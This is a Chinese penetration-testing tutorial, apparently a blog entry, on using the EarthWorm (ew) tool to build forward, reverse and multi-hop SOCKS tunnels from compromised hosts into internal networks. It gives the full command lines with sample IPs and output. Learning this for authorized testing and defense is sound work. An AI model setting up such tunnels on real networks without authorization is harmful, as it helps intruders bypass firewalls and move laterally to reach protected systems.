【内网学习笔记】10、ew 的使用


1、Socks 代理工具介绍

Socks 代理可以理解成升级版的 lcx,关于 lcx 的用法可以看我之前的文章:

https://teamssix.com/year/210528-130449.html

但是 lcx 毕竟年代久远,现在的杀软基本也都能识别到了,因此在实战中不太推荐使用 lcx ,更推荐使用这些 socks 代理工具。

常见的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等,不同的工具适合使用的场景和方法都有所不同。

因为在这其中有些工具笔者较经常使用,所以这里主要记录下 ew、frp、nps 的使用方法,本篇文章主要记录 ew 的使用,后续文章将更新 frp、nps 的使用。

开始之前,先理解下正向代理和反向代理的区别。

正向代理:主动通过代理访问目标主机,即攻击主机 –》目标主机

反向代理:目标机器通过代理进行主动连接,即目标主机 –》攻击主机

2、ew 的使用

ew 的项目主页:http://rootkiter.com/EarthWorm/

ew 全称 EarthWorm,直译过来就是蚯蚓,引用作者的原话是:

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

这个描述也是很形象了。

下载

作者已经不提供 ew 的下载了,但是搜了一下 github 还是有其他人上传的,不过病毒需自查。

下载地址:https://github.com/idlefire/ew

从这工具上传的时间是 5 年前就可以看出这个工具很有年代感了。

使用

该工具共有 6 种命令格式 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,正向连接的命令是 ssocked,反向连接的命令是 rcsocks 和 rssocks,其他命令用于一些比较复杂的网络环境中。

a、正向连接

正向连接需要目标主机有一个公网 IP,或者说攻击主机能够直接访问到目标主机。

命令也很简单

ew -s ssocksd -l 1080
 -s 设置状态模式
 -l 设置监听端口
> .\ew_for_Win.exe -s ssocksd -l 1080
ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server

然后使用 SocksCap、Proxifier、ProxyChains 等工具配置上目标主机的 IP 和监听端口即可,socks 要选择 socks5

b、反向连接

反向连接适合于目标没有公网 IP 的情况,这时就需要一台公网 vps 了,这里就直接以内网地址作为演示了。

在公网 VPS 上执行以下命令:

ew -s rcsocks -l 1080 -e 4444
 -e 设置反弹主机端口
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444

这条命令表示将 1080 端口接收到的数据转发到 4444 端口上。

在目标主机上执行以下命令:

ew -s rssocks -d vps_ip -e 4444
-d 设置反弹主机 IP
> .\ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444

这条命令表示在本地开启 socks 5 服务,并反弹到 vps 的 4444 端口,如果代理建立成功,在 VPS 端就会看到 rssocks cmd_socket OK! 的提示。

最后,代理 vps 的 1080 端口就可以访问到目标主机的内网了。

c、二级网络环境(一)

有这样的一个网络环境,目标主机A有两个网卡,一个内网地址一个公网地址,但这个主机只能访问内网主机B不能访问其他内网资源,而内网主机B不能访问外网但是能访问内网资源。

在拿到这两台主机权限后,就可以使用 ew 进行二级跳板访问到内网资源。

内网主机A(有公网IP) --》内网主机B --》内网资源

在内网主机B上,开启正向连接代理

ew -s ssocksd -l 4444
> .\ew_for_Win.exe -s ssocksd -l 4444

在内网主机A上

ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
> ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444

这条命令表示将 1080 端口收到的代理请求转发到内网主机 B 192.168.7.110 的 4444 端口,此时就可以通过访问内网主机 A 的外网 IP 的 1080 端口访问到内网主机 B 上架设的 socks5 代理了。

d、二级网络环境(二)

在上面的环境中,内网主机 A 有公网 IP,如果没有公网 IP 的情况下,又该怎么办呢?这时候就需要结合反向连接了,因此需要一台公网的 VPS 主机。

VPS --》内网主机A --》内网主机B --》内网资源

在公网 VPS 上

ew -s lcx_listen -l 1080 -e 4444
> ./ew_for_linux64 -s lcx_listen -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here

表示将 1080 收到的 代理请求转发到 4444 端口上

在内网主机 B 上

ew -s ssocksd -l 5555
> .\ew_for_Win.exe -s ssocksd -l 5555

表示开启 5555 端口的正向代理

在内网主机 A 上

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555

表示在内网主机 A 上使用 lcx_slave 的方式,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来。

现在就可以通过 VPS 的 1080 端口访问到内网主机 A 再访问到内网主机 B ,最后访问到内网资源了。

e、三级网络环境

目前有这样的一个环境,内网主机 A 没有公网 IP 不能访问内网资源,但是可以访问外网和内网主机 B,内网主机 B 不能访问外网和内网资源,但是可以和 A、C 相互访问,内网主机 C 能访问内网资源,但是只能和内网主机 B 相互访问,因此如果想访问到内网资源就需要做三层跳板。

VPS --》内网主机 A --》内网主机 B --》内网主机 C

在公网 VPS 上,将 1080 端口收到的代理请求转发到 4444 端口

ew -s rcsocks -l 1080 -e 4444
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here

在内网主机 A 上,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555

在内网主机 B 上,将 5555 端口收到的代理请求转发到 6666 端口上

ew -s lcx_listen -l 5555 -e 6666
> .\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666
init cmd_server_for_rc here
start listen port here

在内网主机 C 上,启动 socks5 服务,并反弹到 B 主机的 6666 端口上

ew -s rssocks -d 192.168.7.110 -e 6666
> .\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666
rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server

至此,socks5 代理 VPS 的 1080 端口就会访问到内网资源了。

另外还有个 ew 的升级版工具叫 termite,不过比较遗憾的是 termite 在两年前也已经暂停更新了,这里也就不再大费周章的记录它了。

更多信息欢迎关注我的微信公众号:TeamsSix


文章作者: Teams Six
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Teams Six !
评论
 上一篇
【内网学习笔记】11、frp 的使用 【内网学习笔记】11、frp 的使用
1、介绍相较于前一篇文章介绍的 ew 的年代久远,frp 就好的多了,基本上隔几天就会发布新的版本,最新的一版更新还就在几天前。 在实战中,大家较多使用的也是 frp,frp 项目地址:https://github.com/fatedier
下一篇 
【内网学习笔记】9、iodine 使用 【内网学习笔记】9、iodine 使用
1、介绍iodine 这个名字起的很有意思,iodine 翻译过来就是碘,碘的原子序数为 53,53 也就是 DNS 服务对应的端口号。 iodine 和 dnscat2 一样,适合于其他请求方式被限制以至于只能发送 DNS 请求的环境中
  目录